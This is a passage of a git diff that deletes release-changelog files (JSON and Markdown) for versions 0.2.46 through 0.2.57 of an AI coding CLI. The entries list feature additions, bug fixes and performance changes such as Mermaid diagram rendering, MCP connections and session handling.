-    "description": "**Parallel tool calls** on the same path (multiple greps etc.) now execute concurrently.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Mermaid flowcharts** now render with fewer avoidable edge crossings.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed Mermaid flowcharts** that silently rendered wrong diagrams for & groups, circle/cross endings and self-loops.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed zsh tab-completion** for subcommands after the optional prompt argument was added.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed \"unknown session id\" errors** after the leader process crashed or was killed.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed repeated auto-compaction attempts** when the session is credit-blocked or auth is non-refreshable.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.46.md b/crates/codegen/kigi-shell/changelogs/0.2.46.md
deleted file mode 100644
index 0931530..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.46.md
+++ /dev/null
@@ -1,19 +0,0 @@
-# 0.2.46
-
-## Features
-
-- **Mermaid flowcharts** now render with fewer avoidable edge crossings.
-
-## Bug Fixes
-
-- **Fixed `grok --resume`** failing on empty image-only session folders left by cross-directory pastes.
-- **Fixed pasted images** and relative paths using the wrong directory after cross-cwd resume.
-- **Fixed Mermaid flowcharts** that silently rendered wrong diagrams for & groups, circle/cross endings and self-loops.
-- **Fixed zsh tab-completion** for subcommands after the optional prompt argument was added.
-- **Fixed "unknown session id" errors** after the leader process crashed or was killed.
-- **Fixed repeated auto-compaction attempts** when the session is credit-blocked or auth is non-refreshable.
-
-## Performance
-
-- **Parallel tool calls** on the same path (multiple greps etc.) now execute concurrently.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.47.json b/crates/codegen/kigi-shell/changelogs/0.2.47.json
deleted file mode 100644
index 372c72b..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.47.json
+++ /dev/null
@@ -1,17 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**stateDiagram** Mermaid blocks now render as diagrams instead of source fallback.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Pasted images** now survive interjections and queue edits instead of being dropped.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Managed MCP connectors** (Slack, Linear, etc.) now appear correctly when using leader mode.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.47.md b/crates/codegen/kigi-shell/changelogs/0.2.47.md
deleted file mode 100644
index 5b6872c..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.47.md
+++ /dev/null
@@ -1,11 +0,0 @@
-# 0.2.47
-
-## Features
-
-- **stateDiagram** Mermaid blocks now render as diagrams instead of source fallback.
-
-## Bug Fixes
-
-- **Pasted images** now survive interjections and queue edits instead of being dropped.
-- **Managed MCP connectors** (Slack, Linear, etc.) now appear correctly when using leader mode.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.49.json b/crates/codegen/kigi-shell/changelogs/0.2.49.json
deleted file mode 100644
index 4c58e6e..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.49.json
+++ /dev/null
@@ -1,52 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Skill reloads** no longer corrupt active tool calls or produce duplicate results in the conversation.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**grok --resume** now correctly finds the real session instead of failing on empty image-only folders.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Pasted images and relative paths now use the correct directory when resuming a session created elsewhere.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "Marketplace plugin listings now show skills, MCP servers, and commands when the catalog is published.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "Mermaid flowcharts now render with fewer avoidable edge crossings.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Mermaid flowcharts** now correctly render node groups, arrow endings, self-loops and line styles.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**stateDiagram** mermaid blocks now render as Unicode diagrams instead of source fallback.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed** \"unknown session id\" errors that occurred after the leader process crashed or was killed.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Pasted images** now survive interjections and queue edits instead of being dropped.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Managed MCP connectors** (Slack, Linear, etc.) now appear correctly when using leader mode.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.49.md b/crates/codegen/kigi-shell/changelogs/0.2.49.md
deleted file mode 100644
index 10f10c0..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.49.md
+++ /dev/null
@@ -1,18 +0,0 @@
-# 0.2.49
-
-## Features
-
-- Marketplace plugin listings now show skills, MCP servers, and commands when the catalog is published.
-- Mermaid flowcharts now render with fewer avoidable edge crossings.
-- **stateDiagram** mermaid blocks now render as Unicode diagrams instead of source fallback.
-
-## Bug Fixes
-
-- **Skill reloads** no longer corrupt active tool calls or produce duplicate results in the conversation.
-- **grok --resume** now correctly finds the real session instead of failing on empty image-only folders.
-- Pasted images and relative paths now use the correct directory when resuming a session created elsewhere.
-- **Mermaid flowcharts** now correctly render node groups, arrow endings, self-loops and line styles.
-- **Fixed** "unknown session id" errors that occurred after the leader process crashed or was killed.
-- **Pasted images** now survive interjections and queue edits instead of being dropped.
-- **Managed MCP connectors** (Slack, Linear, etc.) now appear correctly when using leader mode.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.5.json b/crates/codegen/kigi-shell/changelogs/0.2.5.json
deleted file mode 100644
index 64fa202..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.5.json
+++ /dev/null
@@ -1,7 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Drag-and-drop** and pasting images or files now works correctly on Windows.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.5.md b/crates/codegen/kigi-shell/changelogs/0.2.5.md
deleted file mode 100644
index 2e29c25..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.5.md
+++ /dev/null
@@ -1,6 +0,0 @@
-# 0.2.5
-
-## Bug Fixes
-
-- **Drag-and-drop** and pasting images or files now works correctly on Windows.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.50.json b/crates/codegen/kigi-shell/changelogs/0.2.50.json
deleted file mode 100644
index 9a3d701..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.50.json
+++ /dev/null
@@ -1,27 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Mermaid flowcharts** now render edge crossings clearly instead of fusing unrelated connections.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Sequence diagrams** with activate, autonumber, par, and more now render instead of showing parse errors.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**MCP servers menu** and slash commands now work when starting grok outside a project directory.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Ctrl+W** in the prompt now deletes whole words like bash instead of stopping at punctuation.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Login** no longer quits when an authentication code contains the letter q.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.50.md b/crates/codegen/kigi-shell/changelogs/0.2.50.md
deleted file mode 100644
index 74c469f..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.50.md
+++ /dev/null
@@ -1,13 +0,0 @@
-# 0.2.50
-
-## Features
-
-- **Mermaid flowcharts** now render edge crossings clearly instead of fusing unrelated connections.
-
-## Bug Fixes
-
-- **Sequence diagrams** with activate, autonumber, par, and more now render instead of showing parse errors.
-- **MCP servers menu** and slash commands now work when starting grok outside a project directory.
-- **Ctrl+W** in the prompt now deletes whole words like bash instead of stopping at punctuation.
-- **Login** no longer quits when an authentication code contains the letter q.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.51.json b/crates/codegen/kigi-shell/changelogs/0.2.51.json
deleted file mode 100644
index bdba5fc..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.51.json
+++ /dev/null
@@ -1,77 +0,0 @@
-[
-  {
-    "category": "breaking",
-    "description": "**`grok mcp add`** now accepts positional arguments (e.g. `grok mcp add filesystem -- npx ...`), supports --scope project, and adds -e/-H flags for env/headers.",
-    "breaking_change": true
-  },
-  {
-    "category": "fixes",
-    "description": "**Plan mode exit reminders** no longer appear after the model has already started implementing the plan.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Expanded thinking blocks** in scrollback now remain expanded when the agent finishes them.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**`grok update`** no longer downloads the same binary twice when multiple updaters or leader checks run concurrently.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Background task IDs** after /compact are now shown verbatim so the model can reference them correctly in later tool calls.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Typing /** while scrollback is focused now focuses the prompt and opens the slash-command dropdown.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Dashboard empty state** is now a single hint line; dispatch and peek placeholders appear only when unfocused.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Mermaid flowcharts** now render subgraph blocks as titled frames with correct internal and cross-boundary edges.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed memory leaks** that could cause the CLI to use tens of gigabytes during long sessions with many tool calls.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Login on SSH or headless machines** now tells you when the browser cannot be opened automatically and shows the URL to visit manually.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Class diagrams** in Mermaid now render as proper UML boxes with attributes, methods and inheritance arrows instead of raw source.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Permission prompts** now accept a double-click on an option to submit it, matching the existing Enter and number-key shortcuts.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
-    "description": "**Large code blocks** inside lists no longer cause multi-second UI stalls while streaming responses.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed git clone failures** on Windows when the CLI tries to clone marketplace plugins into ~/.grok.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**New /code-review slash command** now ships with the CLI and is always available.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.51.md b/crates/codegen/kigi-shell/changelogs/0.2.51.md
deleted file mode 100644
index c691b46..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.51.md
+++ /dev/null
@@ -1,29 +0,0 @@
-# 0.2.51
-
-## Breaking Changes
-
-- **`grok mcp add`** now accepts positional arguments (e.g. `grok mcp add filesystem -- npx ...`), supports --scope project, and adds -e/-H flags for env/headers.
-
-## Features
-
-- **Mermaid flowcharts** now render subgraph blocks as titled frames with correct internal and cross-boundary edges.
-- **Class diagrams** in Mermaid now render as proper UML boxes with attributes, methods and inheritance arrows instead of raw source.
-- **Permission prompts** now accept a double-click on an option to submit it, matching the existing Enter and number-key shortcuts.
-- **New /code-review slash command** now ships with the CLI and is always available.
-
-## Bug Fixes
-
-- **Plan mode exit reminders** no longer appear after the model has already started implementing the plan.
-- **Expanded thinking blocks** in scrollback now remain expanded when the agent finishes them.
-- **`grok update`** no longer downloads the same binary twice when multiple updaters or leader checks run concurrently.
-- **Background task IDs** after /compact are now shown verbatim so the model can reference them correctly in later tool calls.
-- **Typing /** while scrollback is focused now focuses the prompt and opens the slash-command dropdown.
-- **Dashboard empty state** is now a single hint line; dispatch and peek placeholders appear only when unfocused.
-- **Fixed memory leaks** that could cause the CLI to use tens of gigabytes during long sessions with many tool calls.
-- **Login on SSH or headless machines** now tells you when the browser cannot be opened automatically and shows the URL to visit manually.
-- **Fixed git clone failures** on Windows when the CLI tries to clone marketplace plugins into ~/.kigi.
-
-## Performance
-
-- **Large code blocks** inside lists no longer cause multi-second UI stalls while streaming responses.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.52.json b/crates/codegen/kigi-shell/changelogs/0.2.52.json
deleted file mode 100644
index 6817f84..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.52.json
+++ /dev/null
@@ -1,157 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Fixed oversized session replay logs** that prevented large sessions from loading.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Tool auto-approval (YOLO)** state is now tracked end-to-end in server-side agent sessions.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**MCP server connections** no longer flood reconnects on repeated stream errors.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**ER diagrams** now render as entity boxes with attributes and relationships in the TUI.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**ZDR and team upload flags** are now populated immediately on login instead of only after background refresh.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Mermaid PNG export** now handles quoted cardinalities in class diagrams and readable ER rows on dark theme.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Skill catalog** no longer shows duplicate \"Use when:\" labels and check-work skill now prompts the model to read its instructions.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "New \"Respect manual folds\" setting keeps hand-expanded blocks stable while content streams in.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Compaction now rejects overly-short summaries that would discard real conversation state.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Background tasks no longer emit spurious failure messages when a session is resumed.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed Windows path handling** so external tools and model prompts receive clean paths without \\?\\ prefixes.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Images and media** no longer remain visible when switching from an agent view to the dashboard.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Clipboard paste** (Ctrl+V) now works for images on pure Wayland sessions.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Modals** such as /sessions no longer crash on narrow terminals.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
-    "description": "**Compaction** now reuses cached prompt prefix instead of full prefill.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**ptyctl resize** now correctly notifies the child process.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Concurrent updates** to the same version no longer fail with permission or EEXIST errors.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Ctrl+X** now stops running turns or closes sessions from inside the agent detail view.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Mermaid diagrams** containing CJK or other non-Latin text now render correctly instead of tofu boxes.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Grok** can now export usage metrics and events to your own OpenTelemetry collector when enabled.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**WezTerm users** now receive guidance when Shift+Enter fails because kitty keyboard protocol is disabled.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**`grok dashboard`** now reliably opens the dashboard instead of silently falling through to a normal session.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Sessions** no longer remain blocked forever after a transient model catalog outage during reconnect.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Cancel** no longer leaves the interface stuck on \"Cancelling…\" after lost responses during reconnects.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Forked sessions** now retain the parent's full pre-compaction transcripts instead of only the compacted summary.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**web_fetch** errors on GitHub hosts now recommend using the gh CLI when internal access is blocked.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Long-running sessions** now tell the model when the local calendar date changes past midnight.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**MCP server connections** no longer hang when stdio servers emit undecodable lines.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Agent Dashboard** now works without leader mode and shows local idle sessions from disk.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Ctrl+C cancels** now complete in under 50 ms instead of blocking for seconds.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Repeated varied edit failures** on one file no longer trigger doom-loop warnings or terminations.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.52.md b/crates/codegen/kigi-shell/changelogs/0.2.52.md
deleted file mode 100644
index 8c3dc76..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.52.md
+++ /dev/null
@@ -1,41 +0,0 @@
-# 0.2.52
-
-## Features
-
-- **Tool auto-approval (YOLO)** state is now tracked end-to-end in server-side agent sessions.
-- **ER diagrams** now render as entity boxes with attributes and relationships in the TUI.
-- New "Respect manual folds" setting keeps hand-expanded blocks stable while content streams in.
-- **Ctrl+X** now stops running turns or closes sessions from inside the agent detail view.
-- **Grok** can now export usage metrics and events to your own OpenTelemetry collector when enabled.
-- **WezTerm users** now receive guidance when Shift+Enter fails because kitty keyboard protocol is disabled.
-- **Long-running sessions** now tell the model when the local calendar date changes past midnight.
-- **Agent Dashboard** now works without leader mode and shows local idle sessions from disk.
-
-## Bug Fixes
-
-- **Fixed oversized session replay logs** that prevented large sessions from loading.
-- **MCP server connections** no longer flood reconnects on repeated stream errors.
-- **ZDR and team upload flags** are now populated immediately on login instead of only after background refresh.
-- **Mermaid PNG export** now handles quoted cardinalities in class diagrams and readable ER rows on dark theme.
-- **Skill catalog** no longer shows duplicate "Use when:" labels and check-work skill now prompts the model to read its instructions.
-- Compaction now rejects overly-short summaries that would discard real conversation state.
-- Background tasks no longer emit spurious failure messages when a session is resumed.
-- **Fixed Windows path handling** so external tools and model prompts receive clean paths without \?\ prefixes.
-- **Images and media** no longer remain visible when switching from an agent view to the dashboard.
-- **Clipboard paste** (Ctrl+V) now works for images on pure Wayland sessions.
-- **Modals** such as /sessions no longer crash on narrow terminals.
-- **ptyctl resize** now correctly notifies the child process.
-- **Concurrent updates** to the same version no longer fail with permission or EEXIST errors.
-- **Mermaid diagrams** containing CJK or other non-Latin text now render correctly instead of tofu boxes.
-- **`grok dashboard`** now reliably opens the dashboard instead of silently falling through to a normal session.
-- **Sessions** no longer remain blocked forever after a transient model catalog outage during reconnect.
-- **Cancel** no longer leaves the interface stuck on "Cancelling…" after lost responses during reconnects.
-- **Forked sessions** now retain the parent's full pre-compaction transcripts instead of only the compacted summary.
-- **web_fetch** errors on GitHub hosts now recommend using the gh CLI when internal access is blocked.
-- **MCP server connections** no longer hang when stdio servers emit undecodable lines.
-- **Ctrl+C cancels** now complete in under 50 ms instead of blocking for seconds.
-- **Repeated varied edit failures** on one file no longer trigger doom-loop warnings or terminations.
-
-## Performance
-
-- **Compaction** now reuses cached prompt prefix instead of full prefill.
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.53.json b/crates/codegen/kigi-shell/changelogs/0.2.53.json
deleted file mode 100644
index db33886..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.53.json
+++ /dev/null
@@ -1,7 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "Minor bug fixes.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.53.md b/crates/codegen/kigi-shell/changelogs/0.2.53.md
deleted file mode 100644
index d912c6a..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.53.md
+++ /dev/null
@@ -1,5 +0,0 @@
-# 0.2.53
-
-## Bug Fixes
-
-- Minor bug fixes.
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.54.json b/crates/codegen/kigi-shell/changelogs/0.2.54.json
deleted file mode 100644
index b68e0d7..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.54.json
+++ /dev/null
@@ -1,42 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Git branch icons** now render correctly on Windows without Nerd Fonts.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Mermaid diagrams** now render inline without the model suggesting external viewers.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Rewind** now works end-to-end across conversation and file state with proper CAS handling.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "MCP connection errors now show the actual failure reason to the model.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "MCP servers with noisy stdout no longer disconnect unexpectedly.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
-    "description": "**Fixed pager freezes** and 100% CPU usage when rendering very long agent reasoning outputs with thousands of styled spans.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Usage warnings** now always display \"Usage left: N%\" instead of varying between \"Free credits left\" and \"Credits left\".",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Window title** no longer flashes or oscillates during permission prompts while the terminal window is focused.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.54.md b/crates/codegen/kigi-shell/changelogs/0.2.54.md
deleted file mode 100644
index 6c3e6b3..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.54.md
+++ /dev/null
@@ -1,19 +0,0 @@
-# 0.2.54
-
-## Features
-
-- **Rewind** now works end-to-end across conversation and file state with proper CAS handling.
-
-## Bug Fixes
-
-- **Git branch icons** now render correctly on Windows without Nerd Fonts.
-- **Mermaid diagrams** now render inline without the model suggesting external viewers.
-- MCP connection errors now show the actual failure reason to the model.
-- MCP servers with noisy stdout no longer disconnect unexpectedly.
-- **Usage warnings** now always display "Usage left: N%" instead of varying between "Free credits left" and "Credits left".
-- **Window title** no longer flashes or oscillates during permission prompts while the terminal window is focused.
-
-## Performance
-
-- **Fixed pager freezes** and 100% CPU usage when rendering very long agent reasoning outputs with thousands of styled spans.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.55.json b/crates/codegen/kigi-shell/changelogs/0.2.55.json
deleted file mode 100644
index 0a7efd9..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.55.json
+++ /dev/null
@@ -1,32 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Windows install scripts** now download and run cleanly via irm | iex without spurious BOM errors.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Tables and wide content** no longer leave stray characters next to timestamps in the scrollback.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Added option** to fully disable the hunk tracker via --hunk-tracker-mode, KIGI_HUNK_TRACKER, or config.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Mermaid diagrams** now render node labels cleanly without HTML tags or raw markdown syntax.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**MCP servers using HTTP** now recover automatically after temporary connection drops instead of becoming permanently unavailable.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Very long sessions** can now scroll all the way to the bottom of the conversation history.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.55.md b/crates/codegen/kigi-shell/changelogs/0.2.55.md
deleted file mode 100644
index e84fbb5..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.55.md
+++ /dev/null
@@ -1,14 +0,0 @@
-# 0.2.55
-
-## Features
-
-- **Added option** to fully disable the hunk tracker via --hunk-tracker-mode, KIGI_HUNK_TRACKER, or config.
-
-## Bug Fixes
-
-- **Windows install scripts** now download and run cleanly via irm | iex without spurious BOM errors.
-- **Tables and wide content** no longer leave stray characters next to timestamps in the scrollback.
-- **Mermaid diagrams** now render node labels cleanly without HTML tags or raw markdown syntax.
-- **MCP servers using HTTP** now recover automatically after temporary connection drops instead of becoming permanently unavailable.
-- **Very long sessions** can now scroll all the way to the bottom of the conversation history.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.56.json b/crates/codegen/kigi-shell/changelogs/0.2.56.json
deleted file mode 100644
index 6aacdd4..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.56.json
+++ /dev/null
@@ -1,102 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**MCP server connections** no longer get torn down during rapid config reloads.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Stale leader processes** are now cleaned up when leader mode is disabled via config or remote settings.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Sandbox profile** is now preserved when resuming sessions so commands continue to work as before.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**list_dir** now shows more relevant files when a large directory appears early in alphabetical order.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Cancel button** in turn status always shows [stop]; queue pane highlight now follows theme changes.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**grok quit** no longer hangs when background git or network tasks are slow.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "The token count shown after auto-compaction now matches the context bar exactly.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "The git branch icon now renders correctly in iTerm2 without a Nerd Font.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
-    "description": "Fast tools like grep now show as completed immediately even when other tools in the same round are still running.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**list_dir** now gives clearer guidance when a directory is too large, using the actual tool names available in your session.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
-    "description": "Long sessions that display inline images no longer grow to multi-GB memory usage.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Ctrl+Enter** now sends the prompt when the agent is idle (same behavior as Enter).",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**resume_from** now correctly continues a sub-agent in the same working directory it was using before.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**resume_from** now continues a finished sub-agent in place instead of forking a new conversation.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**grok sessions delete <id>** command now lets you permanently remove a session from the CLI.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Files with non-ASCII names (e.g. Chinese) no longer crash the session when plan mode checks for markdown.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Session lists (welcome screen, /resume, grok sessions list) are now sorted by the same activity time shown in the UI.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed bash tool failures** when models send numeric arguments such as timeout as JSON strings instead of numbers.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Prevented crashes** during bash command output streaming when building progress frames.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Disabled inline image rendering** on iTerm2 terminals where scrollback overlays cannot be supported.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.56.md b/crates/codegen/kigi-shell/changelogs/0.2.56.md
deleted file mode 100644
index 3241d2e..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.56.md
+++ /dev/null
@@ -1,31 +0,0 @@
-# 0.2.56
-
-## Features
-
-- **resume_from** now continues a finished sub-agent in place instead of forking a new conversation.
-- **grok sessions delete <id>** command now lets you permanently remove a session from the CLI.
-
-## Bug Fixes
-
-- **MCP server connections** no longer get torn down during rapid config reloads.
-- **Stale leader processes** are now cleaned up when leader mode is disabled via config or remote settings.
-- **Sandbox profile** is now preserved when resuming sessions so commands continue to work as before.
-- **list_dir** now shows more relevant files when a large directory appears early in alphabetical order.
-- **Cancel button** in turn status always shows [stop]; queue pane highlight now follows theme changes.
-- **grok quit** no longer hangs when background git or network tasks are slow.
-- The token count shown after auto-compaction now matches the context bar exactly.
-- The git branch icon now renders correctly in iTerm2 without a Nerd Font.
-- **list_dir** now gives clearer guidance when a directory is too large, using the actual tool names available in your session.
-- **Ctrl+Enter** now sends the prompt when the agent is idle (same behavior as Enter).
-- **resume_from** now correctly continues a sub-agent in the same working directory it was using before.
-- Files with non-ASCII names (e.g. Chinese) no longer crash the session when plan mode checks for markdown.
-- Session lists (welcome screen, /resume, grok sessions list) are now sorted by the same activity time shown in the UI.
-- **Fixed bash tool failures** when models send numeric arguments such as timeout as JSON strings instead of numbers.
-- **Prevented crashes** during bash command output streaming when building progress frames.
-- **Disabled inline image rendering** on iTerm2 terminals where scrollback overlays cannot be supported.
-
-## Performance
-
-- Fast tools like grep now show as completed immediately even when other tools in the same round are still running.
-- Long sessions that display inline images no longer grow to multi-GB memory usage.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.57.json b/crates/codegen/kigi-shell/changelogs/0.2.57.json
deleted file mode 100644
index 43f9a15..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.57.json
+++ /dev/null
@@ -1,37 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "Fixed cases where long-running conversation compaction could hang indefinitely.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Notification hooks now fire only for real user-attention events and no longer trigger constantly during tool use.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
